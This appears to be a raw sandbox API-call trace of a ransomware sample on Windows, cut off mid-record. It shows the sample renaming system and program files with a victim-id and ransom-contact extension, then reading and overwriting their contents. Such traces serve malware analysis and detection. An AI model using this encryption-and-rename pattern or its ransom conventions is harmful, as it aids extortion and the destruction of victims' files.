[0082.591] Sleep (dwMilliseconds=0x1) [0082.634] Sleep (dwMilliseconds=0x1) [0082.687] Sleep (dwMilliseconds=0x1) [0082.726] Sleep (dwMilliseconds=0x1) [0082.778] Sleep (dwMilliseconds=0x1) [0082.820] Sleep (dwMilliseconds=0x1) [0082.872] Sleep (dwMilliseconds=0x1) [0082.914] Sleep (dwMilliseconds=0x1) [0082.970] Sleep (dwMilliseconds=0x1) [0083.013] Sleep (dwMilliseconds=0x1) [0083.057] Sleep (dwMilliseconds=0x1) [0083.101] Sleep (dwMilliseconds=0x1) [0083.153] Sleep (dwMilliseconds=0x1) [0083.198] Sleep (dwMilliseconds=0x1) [0083.245] Sleep (dwMilliseconds=0x1) [0083.291] Sleep (dwMilliseconds=0x1) [0083.340] Sleep (dwMilliseconds=0x1) [0083.383] Sleep (dwMilliseconds=0x1) [0083.438] Sleep (dwMilliseconds=0x1) [0083.701] Sleep (dwMilliseconds=0x1) [0083.753] Sleep (dwMilliseconds=0x1) [0083.800] Sleep (dwMilliseconds=0x1) [0083.915] Sleep (dwMilliseconds=0x1) [0084.010] Sleep (dwMilliseconds=0x1) [0084.095] Sleep (dwMilliseconds=0x1) [0084.200] Sleep (dwMilliseconds=0x1) [0084.345] Sleep (dwMilliseconds=0x1) [0084.736] Sleep (dwMilliseconds=0x1) [0084.813] Sleep (dwMilliseconds=0x1) [0084.875] Sleep (dwMilliseconds=0x1) [0084.963] Sleep (dwMilliseconds=0x1) [0085.049] Sleep (dwMilliseconds=0x1) [0085.121] Sleep (dwMilliseconds=0x1) [0085.182] Sleep (dwMilliseconds=0x1) [0085.348] Sleep (dwMilliseconds=0x1) [0085.388] Sleep (dwMilliseconds=0x1) [0085.737] Sleep (dwMilliseconds=0x1) [0085.830] Sleep (dwMilliseconds=0x1) [0085.965] Sleep (dwMilliseconds=0x1) [0086.081] Sleep (dwMilliseconds=0x1) [0086.188] Sleep (dwMilliseconds=0x1) [0086.235] Sleep (dwMilliseconds=0x1) [0086.295] Sleep (dwMilliseconds=0x1) [0086.351] Sleep (dwMilliseconds=0x1) [0086.589] Sleep (dwMilliseconds=0x1) [0086.896] Sleep (dwMilliseconds=0x1) [0087.092] Sleep (dwMilliseconds=0x1) [0087.471] Sleep (dwMilliseconds=0x1) [0088.477] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", len=0x2c | out: pbstr=0x59bff7c*="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 1 [0088.477] GetProcessHeap () returned 0x630000 [0088.477] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e90d0, Size=0x1c) returned 0x6e9120 [0088.477] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0088.477] CloseHandle (hObject=0x69c) returned 1 [0088.477] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.477] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.478] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.481] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0088.481] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0088.481] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0088.481] GetProcessHeap () returned 0x630000 [0088.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f91da0 [0088.482] GetProcessHeap () returned 0x630000 [0088.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f9d1d0 [0088.482] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.482] ReadFile (in: hFile=0x69c, lpBuffer=0x6f91da0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f91da0*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.948] GetProcessHeap () returned 0x630000 [0093.948] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8ca8 [0093.949] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.949] WriteFile (in: hFile=0x69c, lpBuffer=0x6f9d1d0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f9d1d0*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.949] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.949] WriteFile (in: hFile=0x69c, lpBuffer=0x6fa85cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa85cf*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.949] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.949] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.949] CloseHandle (hObject=0x69c) returned 1 [0093.951] GetProcessHeap () returned 0x630000 [0093.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f9d1d0 | out: hHeap=0x630000) returned 1 [0093.951] GetProcessHeap () returned 0x630000 [0093.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f91da0 | out: hHeap=0x630000) returned 1 [0093.952] GetProcessHeap () returned 0x630000 [0093.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ca8 | out: hHeap=0x630000) returned 1 [0093.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.952] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfdf33783, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x138e0, dwReserved0=0xab47496, dwReserved1=0x6f91d98, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0093.952] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0093.952] Sleep (dwMilliseconds=0x1) [0096.011] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Boot\\BCD.LOG", len=0xf | out: pbstr=0x59bff7c*="C:\\Boot\\BCD.LOG") returned 1 [0096.012] GetProcessHeap () returned 0x630000 [0096.012] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x24) returned 0x699af8 [0096.012] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0096.012] Sleep (dwMilliseconds=0x1) [0098.011] Sleep (dwMilliseconds=0x1) [0099.558] Sleep (dwMilliseconds=0x1) [0100.918] Sleep (dwMilliseconds=0x1) [0101.600] Sleep (dwMilliseconds=0x1) [0102.216] Sleep (dwMilliseconds=0x1) [0102.432] Sleep (dwMilliseconds=0x1) [0102.615] Sleep (dwMilliseconds=0x1) [0102.886] Sleep (dwMilliseconds=0x1) [0102.999] Sleep (dwMilliseconds=0x1) [0103.186] Sleep (dwMilliseconds=0x1) [0103.301] Sleep (dwMilliseconds=0x1) [0103.549] Sleep (dwMilliseconds=0x1) [0104.562] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", len=0x37 | out: pbstr=0x59bff7c*="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 1 [0104.567] GetProcessHeap () returned 0x630000 [0104.567] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef9f8, Size=0x38) returned 0x6d5440 [0104.567] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0104.605] CloseHandle (hObject=0x698) returned 1 [0104.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.605] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.606] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x2001517, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIEFCD~1.FIR")) returned 0x6d4f00 [0104.606] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0104.606] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0104.606] GetProcessHeap () returned 0x630000 [0104.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c7928 [0104.607] GetProcessHeap () returned 0x630000 [0104.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70d2d58 [0104.607] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.607] ReadFile (in: hFile=0x698, lpBuffer=0x70c7928, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c7928*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.954] GetProcessHeap () returned 0x630000 [0110.954] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0110.955] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.955] WriteFile (in: hFile=0x698, lpBuffer=0x70d2d58*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d2d58*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.955] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.955] WriteFile (in: hFile=0x698, lpBuffer=0x70de157*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70de157*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0110.955] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.955] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0110.956] CloseHandle (hObject=0x698) returned 1 [0112.620] GetProcessHeap () returned 0x630000 [0112.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d2d58 | out: hHeap=0x630000) returned 1 [0112.620] GetProcessHeap () returned 0x630000 [0112.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c7928 | out: hHeap=0x630000) returned 1 [0112.621] GetProcessHeap () returned 0x630000 [0112.621] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0112.621] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.621] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9138006, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xab47496, dwReserved1=0x70c7920, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIEFCD~1.FIR")) returned 0x6d4f00 [0112.621] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0112.621] Sleep (dwMilliseconds=0x1) [0113.665] Sleep (dwMilliseconds=0x1) [0114.301] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml", len=0x3d | out: pbstr=0x59bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 1 [0114.301] GetProcessHeap () returned 0x630000 [0114.301] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e85d0, Size=0x58) returned 0x68e0b8 [0114.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.301] Sleep (dwMilliseconds=0x1) [0114.882] Sleep (dwMilliseconds=0x1) [0115.141] Sleep (dwMilliseconds=0x1) [0115.445] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini", len=0x45 | out: pbstr=0x59bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 1 [0115.446] GetProcessHeap () returned 0x630000 [0115.446] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x14) returned 0x6b0178 [0115.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0115.447] CloseHandle (hObject=0x718) returned 1 [0115.447] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0115.449] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0115.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="")) returned 0x6d5040 [0115.450] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0115.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0115.450] GetProcessHeap () returned 0x630000 [0115.450] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c6a8 [0115.450] GetProcessHeap () returned 0x630000 [0115.450] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67be50 [0115.450] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.450] ReadFile (in: hFile=0x718, lpBuffer=0x67c6a8, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c6a8*, lpNumberOfBytesRead=0x59bff0c*=0x280, lpOverlapped=0x0) returned 1 [0115.455] GetProcessHeap () returned 0x630000 [0115.455] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0115.455] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.456] WriteFile (in: hFile=0x718, lpBuffer=0x67be50*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x67be50*, lpNumberOfBytesWritten=0x59bff0c*=0x280, lpOverlapped=0x0) returned 1 [0115.456] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.456] WriteFile (in: hFile=0x718, lpBuffer=0x67c0cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c0cf*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0115.456] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.456] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0115.456] CloseHandle (hObject=0x718) returned 1 [0115.457] GetProcessHeap () returned 0x630000 [0115.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67be50 | out: hHeap=0x630000) returned 1 [0115.457] GetProcessHeap () returned 0x630000 [0115.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c6a8 | out: hHeap=0x630000) returned 1 [0115.457] GetProcessHeap () returned 0x630000 [0115.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0115.457] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0115.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xac41b20, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2a9, dwReserved0=0x59bfd20, dwReserved1=0x67c6a8, cFileName="Desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="")) returned 0x6d4f00 [0115.458] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0115.458] Sleep (dwMilliseconds=0x1) [0115.497] Sleep (dwMilliseconds=0x1) [0115.522] Sleep (dwMilliseconds=0x1) [0115.535] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb", len=0x41 | out: pbstr=0x59bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 1 [0115.535] GetProcessHeap () returned 0x630000 [0115.535] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1418 | out: hHeap=0x630000) returned 1 [0115.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0115.579] CloseHandle (hObject=0x684) returned 1 [0115.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0115.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0115.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x3, dwReserved1=0x800001, cFileName="vstoee100.tlb.id-1998248312_[contact-support@elude.in].firex3m", 